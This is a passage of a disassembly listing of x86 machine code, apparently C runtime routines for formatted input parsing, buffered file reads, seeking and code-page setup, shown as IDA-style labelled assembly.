loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_433E7C, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_433E7C, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_433C70 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_433E7C, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4CECE0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_4362F0 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4CEDE0 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4CECE0h[eax*4] mov eax, dword_4CECE0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 26310C3h nop test eax, eax jnz short loc_41E3E9 nop call near ptr 2650C0Ah push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_4CD9B4, 9 mov dword_4CD9B8, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26310C3h test eax, eax jnz short loc_41E48A nop call near ptr 2650C0Ah test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4CEDE0 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_4CD9B4, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 26D0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B nop call near ptr 2650C0Ah jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4CECE0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_4CD9B4, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4CDA60, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi nop call near ptr 2870000h test eax, eax jz short loc_41E75D mov dword_4CDA60, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_436EF4 push esi push edi nop call near ptr 2860000h test eax, eax jz loc_41E897 mov dword_4CDA60, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_4CDA60 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2630000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2630000h test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2870000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27B0000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_4CEDE4 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_436010 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_436100 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi nop call near ptr 2871132h cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 cmp [ebp+var_18], 1 mov dword_4CEDE4, esi rep stosd stosb mov dword_4CF004, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_4CEF01[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_436020[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_436008[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or 